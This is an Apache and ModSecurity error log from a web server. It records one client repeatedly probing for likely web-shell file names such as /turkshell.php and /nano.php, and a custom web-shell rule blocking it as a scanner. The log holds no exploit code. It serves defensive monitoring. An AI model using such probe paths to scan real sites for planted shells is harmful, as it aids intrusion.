[Thu Apr 09 17:54:50.739840 2026] [:error] [pid 18477:tid 18498] [client 20.240.63.86:34164] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "add3asDe826HlFeoLPJpeAAAAVM"]
[Thu Apr 09 17:54:52.179591 2026] [:error] [pid 24517:tid 24578] [client 20.240.63.86:14722] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "add3bHboYEn2ZFM_PS9tTwAAAIQ"]
[Thu Apr 09 17:54:54.651520 2026] [:error] [pid 24517:tid 24582] [client 20.240.63.86:10531] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "add3bnboYEn2ZFM_PS9tUgAAAIg"]
[Thu Apr 09 17:54:55.508463 2026] [:error] [pid 18477:tid 18494] [client 20.240.63.86:20974] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wert.php"] [unique_id "add3b8De826HlFeoLPJpfQAAAU8"]
[Thu Apr 09 17:54:56.671367 2026] [:error] [pid 24624:tid 24640] [client 20.240.63.86:22437] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wert.php"] [unique_id "add3cO4Jn-WvK1ZBTvivswAAAM4"]
[Thu Apr 09 17:54:57.388515 2026] [:error] [pid 18477:tid 18491] [client 20.240.63.86:37872] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wert.php"] [unique_id "add3ccDe826HlFeoLPJpgAAAAUw"]
[Thu Apr 09 17:54:58.700228 2026] [:error] [pid 24515:tid 24538] [client 20.240.63.86:34131] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wert.php"] [unique_id "add3cq1OMnvM2fMnB1NvJQAAABM"]
[Thu Apr 09 17:54:59.851557 2026] [:error] [pid 24624:tid 24637] [client 20.240.63.86:24005] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "add3c-4Jn-WvK1ZBTvivtgAAAMs"]
[Thu Apr 09 17:55:03.707251 2026] [:error] [pid 24927:tid 24934] [client 20.240.63.86:14768] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "add3dzXObuzEuw8mNJvfjQAAAQQ"]
[Thu Apr 09 17:55:04.704132 2026] [:error] [pid 24624:tid 24650] [client 20.240.63.86:20870] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "add3eO4Jn-WvK1ZBTvivvQAAANg"]
[Thu Apr 09 17:55:05.942876 2026] [:error] [pid 20837:tid 20846] [client 20.240.63.86:22425] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "add3efSL71FHZkjrGzPDhQAAAYc"]
[Thu Apr 09 17:55:07.380166 2026] [:error] [pid 24517:tid 24574] [client 20.240.63.86:30699] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "add3e3boYEn2ZFM_PS9tYAAAAIA"]
[Thu Apr 09 17:55:08.205145 2026] [:error] [pid 24517:tid 24582] [client 20.240.63.86:36245] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "add3fHboYEn2ZFM_PS9tYwAAAIg"]
[Thu Apr 09 17:55:10.901042 2026] [:error] [pid 18477:tid 18494] [client 20.240.63.86:24063] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "add3fsDe826HlFeoLPJpiQAAAU8"]
[Thu Apr 09 17:55:12.186361 2026] [:error] [pid 18477:tid 18479] [client 20.240.63.86:24054] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "add3gMDe826HlFeoLPJpjQAAAUA"]
[Thu Apr 09 17:55:13.544938 2026] [:error] [pid 18477:tid 18501] [client 20.240.63.86:14746] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "add3gcDe826HlFeoLPJpkAAAAVY"]
[Thu Apr 09 17:55:15.223637 2026] [:error] [pid 24927:tid 24941] [client 20.240.63.86:22830] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "add3gzXObuzEuw8mNJvfjgAAAQs"]
[Thu Apr 09 17:55:16.266536 2026] [:error] [pid 18477:tid 18497] [client 20.240.63.86:20894] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "add3hMDe826HlFeoLPJplAAAAVI"]
[Thu Apr 09 17:55:17.417543 2026] [:error] [pid 24517:tid 24574] [client 20.240.63.86:37884] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "add3hXboYEn2ZFM_PS9tbgAAAIA"]
[Thu Apr 09 17:55:19.486875 2026] [:error] [pid 20837:tid 20851] [client 20.240.63.86:10692] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "add3h_SL71FHZkjrGzPDjAAAAYw"]
[Thu Apr 09 17:55:20.597271 2026] [:error] [pid 20837:tid 20847] [client 20.240.63.86:38868] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "add3iPSL71FHZkjrGzPDjgAAAYg"]
[Thu Apr 09 17:55:21.953663 2026] [:error] [pid 24516:tid 24557] [client 20.240.63.86:22839] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "add3idhW7vSS-UkeWCUaZAAAAEo"]
[Thu Apr 09 17:55:24.829436 2026] [:error] [pid 24516:tid 24559] [client 20.240.63.86:36264] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "add3jNhW7vSS-UkeWCUaagAAAEw"]
[Thu Apr 09 17:55:28.459118 2026] [:error] [pid 24515:tid 24526] [client 20.240.63.86:22450] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/turkshell.php"] [unique_id "add3kK1OMnvM2fMnB1NvKwAAAAc"]
[Thu Apr 09 17:55:29.575043 2026] [proxy_fcgi:error] [pid 24515:tid 24533] [client 20.240.63.86:5404] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:55:29.846085 2026] [proxy_fcgi:error] [pid 24515:tid 24525] [client 20.240.63.86:5404] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:55:30.253122 2026] [proxy_fcgi:error] [pid 24515:tid 24520] [client 20.240.63.86:5404] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:55:30.546095 2026] [proxy_fcgi:error] [pid 24515:tid 24541] [client 20.240.63.86:5404] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:55:30.813222 2026] [proxy_fcgi:error] [pid 24515:tid 24522] [client 20.240.63.86:5404] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:55:31.108516 2026] [proxy_fcgi:error] [pid 24515:tid 24540] [client 20.240.63.86:5404] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:55:31.427089 2026] [proxy_fcgi:error] [pid 24515:tid 24529] [client 20.240.63.86:5404] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:55:31.756220 2026] [proxy_fcgi:error] [pid 24515:tid 24528] [client 20.240.63.86:5404] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:55:32.086708 2026] [proxy_fcgi:error] [pid 24515:tid 24519] [client 20.240.63.86:5404] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:55:32.356053 2026] [proxy_fcgi:error] [pid 24515:tid 24536] [client 20.240.63.86:5404] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:55:32.710217 2026] [proxy_fcgi:error] [pid 24515:tid 24521] [client 20.240.63.86:5404] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:55:33.053755 2026] [:error] [pid 24515:tid 24534] [client 20.240.63.86:5404] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "add3la1OMnvM2fMnB1NvOQAAAA8"]
[Thu Apr 09 17:55:34.072973 2026] [:error] [pid 18477:tid 18496] [client 20.240.63.86:18539] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "add3lsDe826HlFeoLPJpmgAAAVE"]
[Thu Apr 09 17:55:35.932955 2026] [:error] [pid 18477:tid 18486] [client 20.240.63.86:18516] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "add3l8De826HlFeoLPJpmwAAAUc"]
[Thu Apr 09 17:55:37.500162 2026] [:error] [pid 24516:tid 24557] [client 20.240.63.86:37885] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "add3mdhW7vSS-UkeWCUacgAAAEo"]
[Thu Apr 09 17:55:41.672907 2026] [:error] [pid 24517:tid 24595] [client 20.240.63.86:45083] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "add3nXboYEn2ZFM_PS9tewAAAJU"]
[Thu Apr 09 17:55:42.430223 2026] [:error] [pid 24624:tid 24639] [client 20.240.63.86:10726] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "add3nu4Jn-WvK1ZBTviv8gAAAM0"]
[Thu Apr 09 17:55:43.901662 2026] [:error] [pid 18477:tid 18500] [client 20.240.63.86:38887] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "add3n8De826HlFeoLPJppAAAAVU"]
[Thu Apr 09 17:55:44.753594 2026] [:error] [pid 24624:tid 24629] [client 20.240.63.86:45108] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "add3oO4Jn-WvK1ZBTviv9QAAAMM"]
[Thu Apr 09 17:55:45.853203 2026] [:error] [pid 18477:tid 18496] [client 20.240.63.86:30716] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "add3ocDe826HlFeoLPJppwAAAVE"]
[Thu Apr 09 17:55:48.474605 2026] [:error] [pid 18477:tid 18495] [client 20.240.63.86:10730] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "add3pMDe826HlFeoLPJpswAAAVA"]
[Thu Apr 09 17:55:51.269548 2026] [:error] [pid 18477:tid 18495] [client 20.240.63.86:22455] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "add3p8De826HlFeoLPJpxwAAAVA"]
[Thu Apr 09 17:55:52.142245 2026] [:error] [pid 24516:tid 24563] [client 20.240.63.86:11726] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "add3qNhW7vSS-UkeWCUadAAAAFA"]
[Thu Apr 09 17:55:53.046323 2026] [:error] [pid 24516:tid 24554] [client 20.240.63.86:5417] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.mopj.php"] [unique_id "add3qdhW7vSS-UkeWCUadQAAAEc"]
[Thu Apr 09 17:55:53.804279 2026] [:error] [pid 24516:tid 24547] [client 20.240.63.86:11755] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.mopj.php"] [unique_id "add3qdhW7vSS-UkeWCUadwAAAEA"]
[Thu Apr 09 17:55:55.446736 2026] [:error] [pid 24516:tid 24559] [client 20.240.63.86:37345] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.mopj.php"] [unique_id "add3q9hW7vSS-UkeWCUaeAAAAEw"]
[Thu Apr 09 17:55:56.676298 2026] [:error] [pid 18477:tid 18498] [client 20.240.63.86:30139] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.mopj.php"] [unique_id "add3rMDe826HlFeoLPJp1QAAAVM"]
[Thu Apr 09 17:55:57.778685 2026] [:error] [pid 24927:tid 24938] [client 20.240.63.86:18515] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "add3rTXObuzEuw8mNJvflQAAAQg"]
[Thu Apr 09 17:56:00.996498 2026] [:error] [pid 24515:tid 24523] [client 20.240.63.86:54817] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "add3sK1OMnvM2fMnB1NvRgAAAAQ"]
[Thu Apr 09 17:56:03.694644 2026] [:error] [pid 24515:tid 24533] [client 20.240.63.86:44504] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "add3s61OMnvM2fMnB1NvSgAAAA4"]
[Thu Apr 09 17:56:06.345864 2026] [:error] [pid 20837:tid 20860] [client 20.240.63.86:38791] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "add3tvSL71FHZkjrGzPDsAAAAZU"]
[Thu Apr 09 17:56:07.307415 2026] [:error] [pid 20837:tid 20849] [client 20.240.63.86:11754] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nano.php"] [unique_id "add3t_SL71FHZkjrGzPDsQAAAYo"]
[Thu Apr 09 17:56:08.890641 2026] [:error] [pid 20837:tid 20842] [client 20.240.63.86:11713] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nano.php"] [unique_id "add3uPSL71FHZkjrGzPDsgAAAYM"]
[Thu Apr 09 17:56:10.409095 2026] [:error] [pid 18477:tid 18501] [client 20.240.63.86:37344] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nano.php"] [unique_id "add3usDe826HlFeoLPJp8QAAAVY"]
[Thu Apr 09 17:56:12.515741 2026] [:error] [pid 24927:tid 24935] [client 20.240.63.86:15097] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nano.php"] [unique_id "add3vDXObuzEuw8mNJvfqQAAAQU"]
[Thu Apr 09 17:56:15.579509 2026] [:error] [pid 24927:tid 24931] [client 20.240.63.86:15097] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "add3vzXObuzEuw8mNJvfsAAAAQE"]
[Thu Apr 09 17:56:53.911644 2026] [proxy_fcgi:error] [pid 18477:tid 18492] [client 20.240.63.86:13785] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:56:54.238928 2026] [proxy_fcgi:error] [pid 18477:tid 18496] [client 20.240.63.86:13785] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:56:54.538020 2026] [proxy_fcgi:error] [pid 18477:tid 18494] [client 20.240.63.86:13785] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:56:54.863826 2026] [proxy_fcgi:error] [pid 18477:tid 18485] [client 20.240.63.86:13785] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:56:55.205627 2026] [proxy_fcgi:error] [pid 18477:tid 18479] [client 20.240.63.86:13785] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:56:55.471313 2026] [proxy_fcgi:error] [pid 18477:tid 18486] [client 20.240.63.86:13785] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:56:55.737877 2026] [proxy_fcgi:error] [pid 18477:tid 18493] [client 20.240.63.86:13785] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:56:56.146933 2026] [proxy_fcgi:error] [pid 18477:tid 18499] [client 20.240.63.86:13785] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:56:56.517135 2026] [proxy_fcgi:error] [pid 18477:tid 18488] [client 20.240.63.86:13785] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:56:56.826891 2026] [proxy_fcgi:error] [pid 18477:tid 18487] [client 20.240.63.86:13785] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:56:57.180258 2026] [proxy_fcgi:error] [pid 18477:tid 18480] [client 20.240.63.86:13785] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:56:57.443728 2026] [:error] [pid 18477:tid 18491] [client 20.240.63.86:13785] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "add36cDe826HlFeoLPJqJwAAAUw"]
